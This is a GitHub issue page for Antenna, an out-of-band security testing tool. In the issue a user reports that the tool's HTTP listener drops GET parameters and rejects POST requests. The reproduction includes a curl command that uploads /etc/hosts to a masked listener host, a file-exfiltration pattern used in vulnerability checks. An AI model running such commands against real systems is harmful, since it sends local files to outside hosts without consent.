wuba / Antenna

Antenna是58同城安全团队打造的一款辅助安全从业人员验证网络中多种漏洞是否存在以及可利用性的工具。其基于带外应用安全测试(OAST)通过任务的形式,将不同漏洞场景检测能力通过插件的形式进行集合,通过与目标进行out-bind的数据通信方式进行辅助检测。

Home Page:http://blog.antenna.cool

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

无法接收POST请求,GET请求无法接收参数

coffeehb opened this issue · comments

commented

随意监听一个HTTP组件
复现:

http://xxx.xxx.fun/whoami?=1122222

curl -A o -o- -L -F file=@/etc/hosts http://xxx.xxx.fun/

查看记录,GET无参数记录,只有URI
POST直接返回报错。

{"code":0,"message":"Method "POST" not allowed.","data":{}}

当前版本可使用message参数添加自定义内容,关于post请求将在下个版本支持

已处理